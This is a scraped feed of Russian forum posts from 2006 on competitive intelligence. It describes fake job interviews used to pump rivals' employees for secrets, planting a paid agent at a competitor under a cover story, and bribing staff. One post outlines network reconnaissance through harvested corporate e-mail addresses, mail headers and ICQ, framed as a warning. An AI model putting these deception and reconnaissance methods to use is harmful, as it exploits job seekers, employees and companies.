Процедура исключительно проста. Вначале компания заполучает к себе на собеседование специалиста, работавшего или работающего в конкурирующей организации. При этом используется несколько источников кандидатов. Во-первых, ведя плановый подбор персонала, компания так или иначе пересекается с интересующими ее профильными специалистами. Во-вторых, компания может обозначить вакансию-«пустышку», т.е. вакансию с крайне привлекательными условиями, но не существующую на самом деле. И, в третьих, компания может привлечь к работе одно или несколько кадровых агентств...

Рекрутер, действующий заодно с маркетинговым, «продажным», технологическим или еще каким-нибудь отделом своей компании, расспрашивает кандидата не только «вообще», но и «в частности»...

«Допрос» может быть различной продолжительности. В простом случае это однократное собеседование...

В наиболее сложных случаях кандидат может даже приниматься на работу, с тем, чтобы быть уволенным, как только передаст всю ценную информацию...

Задачи

Задачи, решаемые с помощью рекрутинговых методов разведки, разнообразны. Рассмотрим лишь несколько из них...


Другая возможная задача рекрутинговой разведки – конкурентная разведка технологий. Это более сложно, чем разведка кадровой политики, но, в общем, тоже решаемо. В целом, методы применяются те же самые, что и в предыдущем случае.

Третье направление – исследование рынков. (Информация об организации подобных исследований была получена нами совершенно в духе данной статьи – при собеседовании, от соискателя на должность руководителя по региональному развитию.) ...
С помощью методов рекрутинга можно оценить и лояльность персонала, как собственного, так и персонала конкурентов...
Условия
Не всегда при «разведывательном» собеседовании соблюдаются «экологические нормы», т.е. кандидат догадывается, что его попросту используют как источник данных...

Противодействие

Возникает закономерный вопрос – как защищаться от подобных действий в отношении себя и нужно ли это?...
Единственным способом защититься от утечек информации можно считать повышение лояльности сотрудников компании, за счет построения эффективной системы работы с персоналом...

Соискатель в данной ситуации наиболее страдающая сторона...

После написанного

В заключение отметим, что описанные выше методы – не спекулятивная выдумка автора, а реальность современной ситуации. Во многом это определяется интенсивным развитием самых различных рынков, обострением конкурентной борьбы между компаниями, осваивающими одну и ту же отрасль. Проще говоря – это закономерный этап развития бизнеса. А принимать все это или отвергать, использовать или нет – это уже ваш личный выбор. Источник: http://hr-journal.ru/ Как мне кажется, это является первой ступенью. Затем все переходит в активную фазу диверсионной деятельности, которую я попытался изобразить в рубрике "Политика" , связанную с полным развалом предприятия. Возможно даже не все, кто занимается рекрутингом, осознают, чем они занимаются. Было понятно, что уровень проф. безработицы очень велик. Но сам факт сбора такой информации наталкивает на мысль о корыстном использовании для нехороших целей. Я не мог долго понять, почему так много в Москве таких компаний по трудоустройству. Зачем они собирают резюме и проводят повальные собеседования, после которых почти никто не находил работу. Но как можно использовать такую базу данных боло не понятно. Торговля такой информацией думаю может быть использована и другими компаниями для очень даже не хороших целей. А может это ответ на результат неблагочистивой деятельности работодателей, которые всячески скрывали колличество рабочих мест и реальную специфику работы своих фирм. Поэтому и заинтересованные гос структуры одобрили данное направление деятельности рейдерства своим молчанием, т.к. такая информация очень даже была бы им полезна. А как Вы думаете? Спасибо.]]> Thu, 13 Jul 2006 17:53:12 +0400 http://www.a-rsb.ru/forum/index.php?showtopic=83 Агентура в конкурентной разведке http://www.a-rsb.ru/forum/index.php?showtopic=89 Агента, как правило, нельзя заслать на уровень высшего руководства, но и рядовому сотруднику у конкурента будет тяжело работать. Поэтому обычной и наиболее приемлемой для будущего агента оказывается роль менеджера среднего звена. Такой человек получает две зарплаты: у конкурента и действительного хозяина, причем последний обеспечивает ему также и деньги на представительские расходы. Это позволяет агенту быть достаточно щедрым на подарки, оплату выпивки и другие расходы, позволяющие ему быть в центре внимания. Объяснения наличия хороших денег, рекомендуемые западными пособиями по конкурентной разведке, сводятся к богатым родителям или высоким заработкам жены.
Но в России, по нашим наблюдениям, подобные объяснения только вызывают дополнительные подозрения. Поэтому приходится не следовать иностранным учебникам, а придумывать собственные варианты. Так, в одном случае хорошей легендой оказалось мнимое наличие квартиры в Москве, которую удалось удачно сдать в аренду и получать арендную плату переводами. Каждый раз, получив деньги, счастливчик делал «заначку» и приглашал сослуживцев после работы на кружку пива. Когда друзья сидели за пивом, он принципиально не расспрашивал о фирменных секретах - информация сама «шла в руки». Агент спустя полгода уволился, так и оставшись не разоблаченным. По сценарию, он не сразу перешел на работу к конкуренту – своему хозяину. Какое-то время продавал несуществующую московскую квартиру, потом несколько месяцев работал в мелкой фирме. Все это время он продолжал «уважать» прежних друзей. А потом, как бы по стечению обстоятельств, устроился директором по развитию в крупную конкурирующую фирму и стал готовить новых «казачков», теперь уже со знанием дела. Встречи «за кружкой» пришлось прекратить.
К сожалению, я не могу назвать фамилию этого человека, поэтому благодарю его не адресно. Некоторые написанные далее мысли принадлежат ему.
Впрочем, профессиональная «засылка казачков» в современной российской практике относительно мало распространена. Несоизмеримо в более значительных масштабах практикуется система подкупа (вербовки) работников конкурента. Это интегрально и обходится дешевле. Но сначала поговорим о тех агентах, которые «забрасываются» к конкуренту на краткое время.
]]> Wed, 19 Jul 2006 18:32:54 +0400 http://www.a-rsb.ru/forum/index.php?showtopic=89 <![CDATA[Владение информацией - "+" или "-" ...]]> http://www.a-rsb.ru/forum/index.php?showtopic=107 Допустим, была некая ситуация, при которой выкупив необходимую мне информацию о конкуренте нелицеприятную для него, я планировала ею воспользоваться с целью подавления и выдворения этого человека из бизнеса. Но, в свете последних событий, которые имели место быть: запугивание и угрозы в адрес моей семьи и меня лично, приходится стоять на "перекрестке" и думать, в какую сторону повернуть дальше.

Так в чем же плюсы владения информацией, которой ты не можешь воспользоваться, дабы, не нарваться на неприятности, а то и ещё хуже?]]> Tue, 28 Nov 2006 15:11:57 +0300 http://www.a-rsb.ru/forum/index.php?showtopic=107 Персональные данные - ловушка для бизнеса. http://www.a-rsb.ru/forum/index.php?showtopic=108 Начнём с того, что за нарушение закона ответственность несёт руководитель фирмы и это сулит ему, мягко говоря, серьезные неприятности — от крупного штрафа до тюремного заключения. То есть стимул соблюдать закон есть. Но проблема в том, как его соблюсти? Возьмём хотя бы п. 1 из статьи 7 закона: “1. Операторами и третьими лицами, получающими доступ к персональным данным, должна обеспечиваться конфиденциальность таких данных”. Ключевое слово здесь “конфиденциальность”. Что значит — обеспечить конфиденциальность? Это означает, что используемая для хранения таких данных вычислительная система и её ПО должны быть сертифицированы под обработку и хранение конфиденциальных данных уполномоченными на то органами. Я не слишком хорошо представляю возможности такого органа по сертификации в обозримые сроки сотен тысяч действующих в России корпоративных компьютерных систем. Если закон будет активно проводиться в жизнь (в чём нет большой уверенности, так как это достаточно трудно сделать технически), то по меньшей мере потребуется проведение сертификации на основе Единой государственной системы сертификации. Закон же о техническом регулировании, действующий с 2003 г., и определяющий порядок сертификации товаров и услуг, хотя и регулирует правила необязательной сертификации в области защиты информации, но к нему пока нет необходимых технических регламентов, которые всё ещё находятся в стадии разработки.

Допустим, в вашей конкретной компании нет CRM с базой клиентов и даже нет отдела кадров с личными делами сотрудников. Не радуйтесь! У вас, как ни крути, есть бухгалтерия. Этого достаточно, чтобы попасть под ЗПД.

Если вернуться к сертификации на хранение конфиденциальных данных, то даже такой термин, как “несанкционированный доступ, НСД” юридически полностью не определён. В ряде документов прописано, что это недозволенный доступ с помощью штатных средств компьютерной системы. В таком случае — кража диска с информацией, это уже не НСД. Ну а как же быть с пресловутыми электромагнитными полями? Каждый компьютер, как и каждый человек, имеет свой уникальный электромагнитный портрет и “светится” на достаточно большое расстояние. Те, кто работал в почтовых ящиках в советские времена, помнят обшитые металлом экранированные помещения ВЦ, в которых у меня почему-то всегда болела голова. Так что, снова будем экранироваться?

Ну, скажем, такие утечки информации доступны только богатым и влиятельным организациям со спецаппаратурой, и от них могут защищаться только не менее богатые и влиятельные. Но даже если вы обеспечите на фирме физическую охрану периметра, это вряд ли вам поможет, ведь самый существенный изъян кроется в сертификации ПО. Подавляющее большинство фирм использует западный софт — если не КИС, то ОС, СУБД, почтовую систему, сетевое ПО и т. д. Не секрет, что в ПО практически всех западных производителей полно закладок; имеются они, как говорят эксперты, в достаточном количестве и в ПО с открытыми исходными текстами. А поскольку корпоративные системы, как правило, не полностью изолированы от Интернета, то вопрос сертификации ПО становится одним из самых острых. Допустим, что какая-то версия ОС или СУБД после многомесячного исследования сертифицирована. Первый же патч (например, заплатка, закрывающая уязвимость или исправляющая обнаруженную ошибку) сводит эту сертификацию на нет.

Закон о персональных данных вступает в силу с 1 января 2007 г. Ещё год дан для подачи заявок в уполномоченный орган. Думаю, хорошим новогодним подарком для бизнеса в 2008-м будет стук морозным утром в дверь: “А как вы храните персональные (конфиденциальные) данные?” Ну а дальше, как обычно…

Впрочем, в ЗПД операторам персональных данных предлагается использовать криптографические средства защиты данных и будет глупо ими не пользоваться.



Я пытаюсь разобрать только одно слово из данного закона, а сколько там других интересных слов — например, “законность способа обработки персональных данных” (а законны ли, скажем, электронные таблицы?), “достаточность персональных данных для целей обработки” (кто же это проверит и на основе чего?), “недопустимость объединения созданных для несовместимых между собой целей баз данных информационных систем персональных данных” и т. д. Последнее требование, в частности, формально может вызвать проблемы при создании корпоративных хранилищ данных. Ещё хочется спросить законодателей, а как теперь работать отделам конкурентной разведки российских компаний? По открытым источникам? smile.gif

]]> Wed, 29 Nov 2006 16:35:23 +0300 http://www.a-rsb.ru/forum/index.php?showtopic=108 Прорыв в конкурентной разведке!!! http://www.a-rsb.ru/forum/index.php?showtopic=109 Pagebull выдает скриншоты в сетке из 2-х, 3-х, или 4-х колонок в зависимости от размера окна браузера или индивидуальной настройки. Для нормальной работы поисковика требуются активизированный JavaScript и широкополосный канал связи. Pagebull не поддерживает некоторые старые версии браузеров. В настоящее время система не содержит спонсорских ссылок, но уже в ближайшее время они могут появиться.

В связи с использованием изображений не может не возникнуть вопрос о защите авторских прав владельцев сайтов, индексированных в системе Pagebull. В условиях пользования Pagebull определено, что данный поисковик предназначен только для индивидуального использования, и результаты поиска не могут без согласия Pagebull размещаться на других сайтах. «Pagebull не может гарантировать, что в результатах не появится некорректный или оскорбительный контент», - говорится в соглашении.

http://www.pagebull.com/
В последнее время визуальные поисковики развиваются весьма активно. Так, перспективный стартап Quintura с центром разработки в Московской области – владелец одноименной системы визуализации результатов поиска. В результатах эта система выдает визуальную карту, где отображаются слова, близкие к смыслу и запросу.]]> Wed, 29 Nov 2006 20:05:00 +0300 http://www.a-rsb.ru/forum/index.php?showtopic=109 Инсайдерская информация - что это? http://www.a-rsb.ru/forum/index.php?showtopic=101 Инсайдерами признаются физические и юридические лица, имеющие право доступа к инсайдерской информации на основании закона, иного нормативного правового акта, должностной инструкции либо иного внутреннего документа компании, а также на основании договора с компании.
Кто попадает под определение инсайдер?.]]> Thu, 26 Oct 2006 16:28:34 +0400 http://www.a-rsb.ru/forum/index.php?showtopic=101 Как узнать корпоративные адреса электронной почты. http://www.a-rsb.ru/forum/index.php?showtopic=85
Мы оставляем свой адрес в многочисленных гостевых книгах, форумах, конференциях, на своих собственных страничках, в различных анкетах. При этом, как правило, оставляются все необходимые контактные данные – email, icq, Возможно даже и телефон, в общем, предлагаются любые средства для удобной и оперативной обратной связи.

Для поиска нужных адресов можно использовать поисковую систему google. Например введя в поисковую форму company.ru, мы получим всю найденную информацию, где фигурирует доменное имя компании, включая корпоративные почтовые ящики типа: vasy@company.ru.



Если рассмотреть ситуацию, когда пользователь является сотрудником компании, то, оставляя для связи свой корпоративный адрес или номер icq, которым он пользуется на работе, он подвергает потенциальной опасности – в первую очередь себя, а следом и всю корпоративную сеть.


Угрозы раскрытия личных данных пользователя компании
Для сбора информации о корпоративной сети и персональных данных сотрудников обычно используется целый спектр Интернет-публикаций, где человек мог оставить след, а также ведется работа с основными видами коммуникативных средств, применяемых в Интернет (электронная почта, чаты, ICQ).


Email: злоумышленник, зайдя на форум, в первую очередь обратит внимание на наличие электронного адреса, не принадлежащего к бесплатным, таким как rambler, yandex, aport, hotmail – список бесплатных почтовых сервисов весьма велик и все они очень хорошо известны. Написав письмо на корпоративный адрес с каким либо предложением или вопросом, касающимся деятельности фирмы и, соответственно, получив ответ, можно просмотреть служебные поля письма (header), в которых содержится имя компьютера и внутренний IP адрес, по которому можно сначала выстроить внутреннюю топологию сети а затем уже начинать пробовать различные виды атак. Также наличие у злоумышленника личной информации о пользователе компании, открывает плацдарм для применения фишинг-атак и социальной инженерии.

ICQ: представляют собой не меньшую угрозу, т.к в этих приложениях используется живое общение между пользователем и злоумышленником. В ICQ99 есть возможность просмотра IP адреса собеседника, если передача данных не зашифрована. В последующих версиях эта возможность из-за соображений безопасности была убрана разработчиками, но существуют различного рода модули и плагины, позволяющие просмотреть IP адрес собеседника. Исходя из этого, построив внутреннюю топологию сети, можно просканировать весь диапазон IP адресов относящихся к этой сети на предмет доступных ресурсов или наличия вредоносных программ, открывающих доступ на сетевые компьютеры.]]> Sat, 15 Jul 2006 19:07:53 +0400 http://www.a-rsb.ru/forum/index.php?showtopic=85 Хочу стать детективом. http://www.a-rsb.ru/forum/index.php?showtopic=32 Здравствуйте. скажите, как можно стать детективом и начать заниматься детективной деятельностью.Может ли девушка работать в этой области? Спасибо:) Tue, 23 May 2006 23:27:07 +0400 http://www.a-rsb.ru/forum/index.php?showtopic=32 Технологии разведки и контрразведки для бизнеса http://www.a-rsb.ru/forum/index.php?showtopic=95 Пока компьютеры и системы мониторинга были достаточно дорогими, они устанавливались только в государственных учреждениях, в офисах крупных компаний и в богатых домах. Но по мере того, как компьютеры и следящее оборудование становятся все дешевле и совершеннее, они все чаще применяются для сбора данных в интересах частных лиц. Со временем тысячи подобных сетей индивидуального мониторинга неизбежно сливаются в большие коммерческие и государственные базы данных (сети). Такие базы данных будут содержать огромные массивы информации, полученной с применением специальных информационных технологий (наблюдения - подглядывания, перехвата данных и дезинформации, в т.ч. создания ложных имиджей и изготовления подделок), способных обеспечить полное (круглосуточное) наблюдение за людьми,
объектами и внешними условиями.
Функциональные особенности этих технологий, которые в данной работе мы будет называть INT-технологиями (от "intelligence technology"), позволяют собирать, хранить и даже производить информацию о том, что делал или делает конкретный человек или компания, каковы их активы и
проч.
Фактически расширение коммерческого использования INT-технологий последовательно трансформирует американское общество из традиционного общества "обоснованного ожидания конфиденциальности" в общество информационных папарацци, не признающих права собственности на конфиденциальную информацию. При этом существенным образом модифицируется система социально-экономических отношений, общество превращается в "коммуналку", где обман и склоки, претензии и сутяжничество становятся образом жизни (получения дохода).
Но кошмары могут быть и экономическими. Очевидно, что INT-технологии, как и всякие иные, могут быть более и менее совершенными, в конечном счете, дорогими и дешевыми. Это означает, что одни хозяйствующие субъекты могут себе позволить более продвинутые решения и получать специфическую информацию, недоступную для партнеров. Следовательно, неравномерное коммерческое распространение INT-технологий усугубляет информационную асимметрию рынка, что подрывает правила справедливой конкуренции, создает нездоровую атмосферу крупных спекуляций; нарушает правила проведения торгов (в том числе на товарных, фондовых и валютных биржах). Есть основания полагать, что такие технологии используются для создания ложного имиджа неблагополучных компаний, для завышения их кредитных рейтингов, для шантажа (или создания угрозы его применения) и проч. По нашему мнению, стремительный рост спроса на информацию, получаемую с помощью INT-технологий, помимо прочего, связан с увеличением размеров капитала, участвующего в электронной торговле на фондовых биржах.
Абсолютное большинство участников рынка превращается в "лохов", то есть в тех, которые по каким-либо причинам не в состоянии обеспечить сохранность собственных или государственных ценностей, находящихся в их распоряжении. Их собственности наносится ущерб, поскольку они не располагают адекватными средствами противодействия высокотехнологичной наглости.
Такой экономике необходимо чтобы лохи верили в случайный характер своих неудач, а потому одним из главных механизмов лохотрона под названием экономика становится механизм поддержания в обществе имиджа справедливости рыночной конкуренции. На обеспечение работы этого механизма направлена деятельность основной части информационной инфраструктуры общества.
Многие экономисты конца ХХ века используют понятие "новая экономика", которое они связывают только с положительными эффектами развития информационных технологий. По нашему мнению, последствия распространения INT-технологий могут быть не только положительными, но и отрицательными, причем последние могут преобладать. Вот почему, рассматривая социально-экономические перспективы развития США, так важно обозначить хотя бы основные негативные последствия широкого коммерческого распространения INT-технологий, и в частности, обратить внимание на ослабление социально-экономической основы свободной конкуренции.
1. Распространение INT-технологий (2)
В настоящее время в мире уже оборудованы многие тысячи автоматических пунктов слежения, из-за которых люди, - с их согласия или нет, - попадают в поле зрения высококомпьютеризованных наблюдательных систем. По данным подготовленного в январе 2003 года доклада, автором которого является известный исследователь рынка технологий информационной безопасности Дж. П. Фриман (J.P. Freeman), к настоящему времени в мире уже установлено 26 миллионов наблюдающих камер, из них более 11 млн. находятся в США (3). Многие, если не большинство действующих в настоящее время сетей наблюдения были установлены государством или большим бизнесом, однако в предстоящие годы на эту тропу станут и малые организации, и даже отдельные индивидуумы. По мнению Дж. Фримана, объём продаж цифровых наблюдающих камер составляет сейчас до 150 млн. долл. в год и в предстоящие 10 лет будет ежегодно возрастать на 40-50%, что связано с ростом спроса со стороны малых организаций и частных лиц, создающих собственные сети наблюдения. Сторонниками распространения наблюдающих технологий становится огромное количество рядовых граждан, заинтересованных в повышении уровня своей безопасности и комфорта.
Вездесущие системы наблюдения становятся реальностью и регулярно наполняют информацией тысячи всевозможных пересекающихся персональных, торговых, медицинских, полицейских, правительственных и прочих баз данных. С обывательской точки зрения это воспринимается как стремление обыкновенных граждан к безопасности, порядку и комфорту - новые технологии помогают миллионам потребителей защитить свою собственность, спокойно путешествовать и "мониторить" свою семью. В перечень уже ставших привычными для среднего американца следящих систем входят такие, как "нянин поводок", локаторы глобального позиционирования, мониторы дорожного движения и поведения заключенных, многочисленные устройства оперативной медицинской связи и многое другое (см. таблицу 1 ).
2. Зачем INT-технологии нужны бизнесу
Конкуренция ожесточила бизнес, навсегда загнали его в долги (в кредиты). Необходимость постоянно выкручиваться существенно изменила психологию современного бизнеса, который в борьбе за лидерство ведет конкурентную борьбу жесткими, практически военными методами, допуская применение любых организационных и технологических новшеств.

В такой борьбе компании, работающие практически во всех секторах американской экономики, вынуждены опираться на принципиально новую информацию (по старым понятиям внеэкономическую). Без такой информации, качество которой определяется ее своевременностью и адекватностью, современные американские компании не могут рассчитывать на успех на глобализированном рынке.

В информационном обеспечении современного бизнеса определились следующие два направления применения INT-технологий.
1.Повышение уровня осведомленности о бизнес-ситуации вовне компании - в мире, в стране, о состоянии активов и планах конкурентов, о конъюнктуре глобальных и региональных товарных рынков и проч. К этому направлению относятся меры активной корпоративной политики, имеющие целью повышение эффективности игры на международных фондовых и финансовых биржах, а также поддержание кредитоспособного имиджа компании (подробнее см. ниже в разделе 5).
2.Повышение уровня осведомленности менеджмента о хозяйственной ситуации внутри компании. К этому направлению также относятся меры активной защиты корпоративных секретов (в том числе меры выявления и предотвращения распространения инсайдерской информации). Конкурентоспособность современного менеджмента требует обеспечения высокой эффективности расходов, а также достижения согласованности в деятельности сотрудников компании. Это требует усилий для своевременного выявления значимых различий в мотивации сотрудников, организации контроля за их работой. Поскольку, в отличие от Японии, в США с трудовой мотивации далеко не все в порядке, INT-технологии становятся составной частью "механизма сопряжения мотиваций сотрудников компании к эффективному труду".
По мнению Раджа Рамакришнана, специалиста по банкам данных в Университете Wisconsin-Madison, одной из первых эффективных комбинации возможностей наблюдательной техники и компьютеров является непрерывный (интенсивный) мониторинг того пространства, в котором люди среднего достатка проводят основную часть времени - зданий, офисов, складов и магазинов. Еще больше подобных "потребительских" новшеств находятся в стадии разработки. По словам Р. Рамакришнана, такие компании, как Johnson Controls и Siemens, уже разрабатывают стандартные процедуры упрощения наблюдений. При этом для мониторинга местоположения и людей, и вещей они используют радиомаяки, работающие на радиочастотах. В январе 2003 года компания Gillette начала прикреплять подобные маяки к каждой из 500 млн. выпускаемых ею бритв Mach 3 Turbo. Для таких бритв в сети универсамов Wal-Mart выделены специальные полки, автоматически регистрирующие их распродажу (исчезновение с полок) и напоминающие сотрудникам о необходимости пополнить запас; очевидно, что такие бритвы автоматически превращают в радиомаяки как своих покупателей, так и воров. Судя по имеющимся разработкам, в будущем подобные "хвосты" будут использоваться больницами для гарантии соблюдения пациентами и персоналом установленных правил, полицейскими - для удержания посетителей от попыток проникновения в помещения, в которых находятся конфиденциальные материалы клиентов, в детских садах - для контроля за начинающими ходить малышами и во многих других местах.

Три крупнейших американских производителя автомобилей участвуют в программе создании федеральной системы слежения, предусматривающей монтаж во все продаваемые в США машины специальных идентификационных радиомаяков ("радиохвостов"). Более того, по сведениям "Группы действия" (мозгового центра американской автомобильной промышленности), в конгрессе возникали требования, чтобы эти радиомаяки обладали дополнительными функциями и автоматически активизировались, если скорость автомобиля хотя бы на короткой дистанции в 4-5 метров превысит 160 км/час.

В настоящее время для многих компаний обычным делом стало наблюдение за рабочими местами сотрудников: по данным Ассоциации американских менеджеров, в 2001 году электронный контроль за своими сотрудниками осуществляли 77,7 % списка ведущих корпораций США, что вдвое больше, чем в 1997 году (см. табл. 1.). В последнем обзоре Ассоциации американских менеджеров (American Management Association) за 2002 год отмечается, что более трети крупных корпораций прибегают к просмотру компьютерных файлов, используемых их сотрудниками. 7 из 10 сетей крупнейших супермаркетов используют карточки предоставления скидок (discount cards) для того, чтобы отслеживать покупки клиентов.
Таблица 1
Динамика развития систем слежения за сотрудниками
(процент американских компаний, регулярно записывающих и анализирующих деятельность своих сотрудников)

Виды наблюдения 1997 1998 1999 2000 2001
Запись телефонных разговоров 10.4 11.2 10.6 11.5 11.9
Контроль использования телефонов 34.4 40.2 38.6 44.0 43.3
Хранение и анализ голосовых сообщений 5.3 5.3 5.8 6.8 7.8
Хранение и анализ компьютерных файлов 13.7 19.6 21.4 30.8 36.1
Хранение и анализ e-mail сообщений 14.9 20.2 27.0 38.1 46.5
Контроль использования Интернета н.д. н.д. н.д. 54.1 62.8
Контроль времени работы компьютера 16.1 15.9 15.2 19.4 18.9
Видеозапись деятельности сотрудников 15.7 15.6 16.1 14.6 15.2
Видеонаблюдение для безопасности 33.7 32.7 32.8 35.3 37.7
Все виды активного контроля 35.3 42.7 45.1 73.5 77.7


Использование INT-технологий в коммерческих целях превращает их в экономическое оружие.
В бизнесе стали преобладать "технологии нетрадиционной деловой этики" (для современных деловых людей стало правилом - просто покупать что-либо "за свою цену" неприлично, считается, что если есть хоть малейшая возможность обойти или обмануть партнера, для повышения собственной конкурентоспособности это надо сделать обязательно) (15). Подобной этике соответствуют те или иные способы достижения информационного превосходства, то есть создания ситуаций, когда один партнер (по незнанию) еще на что-то надеется, а второй уже все знает наверняка. Все множество методов обеспечения такого информационного превосходства над конкурентом, по нашему мнению, можно условно разделить на две подгруппы 1) методы, углубляющие информационную асимметрию участников рынка или методы достижения количественного информационное преобладания и 2) методы создания ложных имиджей и введения участников рынка в заблуждение.

Наступившая эра информатики предоставила коммерческим компаниям возможность собрать о своих партнерах и конкурентах огромное количество секретной (конфиденциальной) информации. Теперь всестороннее информационное обеспечение коммерческих переговоров в состоянии обеспечить специальные аналитические и организационные системы, которые заранее определяют все слабые места, как в законодательстве, так и в позиции партнеров по переговорам, подбирают оптимальные сценарные варианты их использования.
Информационное превосходство одних участников рынка над другими приводит к фактическому неравенству их конкурентных возможностей
Как известно, капиталистический рынок опирается на огромное количество информации: о наличии и полезности для покупателя конкретных вещей (или финансовых инструментов), о цене и условиях сделки у разных продавцов и проч. Если исходить из классической теории экономической конкуренции, то можно считать, что справедливая конкуренция означает равные шансы для всех участников, из которых победителя определяет случай.

С информационной точки зрения исходные предпосылки красивых статических и динамических моделей равновесия конкурентного рынка во многом носят гипотетический характер. С одной стороны, они предполагают полноту, адекватность и всеобщую доступность экономической информации, которая характеризует все имеющиеся в данный момент экономические возможности (технологические способы). С другой стороны, эти предпосылки опираются на отсутствие у участников рынка полной информации о конкурентах, из того, что свои экономические решения участники принимают в условиях неопределенности. Это привносит в игру на товарных, валютных и фондовых биржах существенный элемент "чистого риска", определяет во многом случайный характер колебаний конъюнктуры.
Чтобы не проиграть в "игре с грязным риском", тоже надо иметь большие деньги. Но стратегия иная - вкладывать их надо не в саму игру, а в подготовку к игре, в обеспечение надежного информационного преобладания над соперником; потратить деньги на то, чтобы выяснить реальные возможности партнера и обесценить (дискредитировать) его активы ("козыри"). При этом, используя INT-технологии, надо добиться такого технологического преимущества, которое исключит дуэль с равными шансами и обеспечит победу еще до начала сражения.
Обладание INT-технологиями порождает у продвинутых бизнесменов желание захватить ресурсы отстающих, используя, например, следующую схему. Как и в тотализаторе на ипподроме, надо найти достаточно большое количество участников, которые, надеясь на выигрыш, "делают традиционные ставки", а потом с помощью недоступной для других специальной технологии "сорвать банк".
1.Найти или придумать легальную игру (например, фондовая биржа, финансовая пирамида и проч.).
2.Найти достаточно азартных партнеров, готовых рискнуть находящимся в их распоряжении капиталом.
3.Втянуть партнеров в игру, создав у них ложное впечатление о том, что они играют в честную игру с "чистым риском", со случайностью, что в этой игре у них есть реальные шансы на выигрыш.
4.Поддерживать угар азарта, что должно предотвратить разоблачение иллюзорности этой надежды.
5.Обеспечить себе победу в игре за счет применения INT-технологий, уровень которых позволяет преодолеть заранее разведанную защиту партнера.
6.Переход на новый информационно-технологический виток игры после того, как недовольные лохи предъявят дополнительный спрос на охранные системы и информационные услуги (подготовку претензий).
Если на пятом шаге этой схемы организатору удается обеспечить себе победу, "подсматривая карты партнеров", которым в этом случае не приходится рассчитывать на равенство шансов, то игра, в которую они играют, вообще говоря, не имеет отношения к справедливому конкурентному рынку. Все, кто в подобной игре следуют классической стратегии и полагаются на случай, даже большие деньги удержать в руках не смогут - их обязательно отнимут те, кто к такой "игре" лучше.
Заключение.
По своей сути INT-технологии достаточно просты, они требуют от пользователя не профессионального образования, а элементарных инструментальных навыков (приемов работы) и развитого духа азарта.]]> Thu, 27 Jul 2006 20:21:39 +0400 http://www.a-rsb.ru/forum/index.php?showtopic=95 Государственная служба как источник информации http://www.a-rsb.ru/forum/index.php?showtopic=94 Здравствуйте, темой бизнес и информация занялся не давно. Интересует такой вопрос, как получить сведения, имеющиеся в госучреждениях для получения информации о партнере? Интересуют законные методы, о личных контактах и так все ясно. Thu, 20 Jul 2006 19:59:00 +0400 http://www.a-rsb.ru/forum/index.php?showtopic=94